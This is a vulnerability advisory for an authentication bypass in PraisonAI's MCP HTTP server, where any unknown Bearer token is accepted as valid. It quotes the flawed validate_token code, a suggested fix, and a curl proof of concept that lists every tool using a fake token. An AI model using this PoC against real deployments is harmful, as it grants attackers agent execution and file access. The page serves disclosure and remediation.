PT-2026-53545 · Pypi · Praisonai

Publicado

2026-06-29

·

Atualizado

2026-06-29

CVSS v3.1

9.1

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

OAuthManager.validate token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

Details

oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)
python
# source
 def validate token(self, token: str) -> bool:
  for stored token in self. tokens.values():
    if stored token.access token == token:
      return not stored token.is expired()
 
# sink -- tokens is empty by default, loop never executes, falls through
  return True

PoC

bash
# install: pip install -e src/praisonai
 # start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp 
 -H "Authorization: Bearer fake token abc123" 
 -H "Content-Type: application/json" 
 -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file write

Impact

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.

Suggested Fix

python
def validate token(self, token: str) -> bool:
  for stored token in self. tokens.values():
    if stored token.access token == token:
      return not stored token.is expired()
  # Unknown tokens must be rejected.
  # For external/JWT tokens, call the introspection endpoint here before returning.
  return False

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-468

Produtos afetados

Praisonai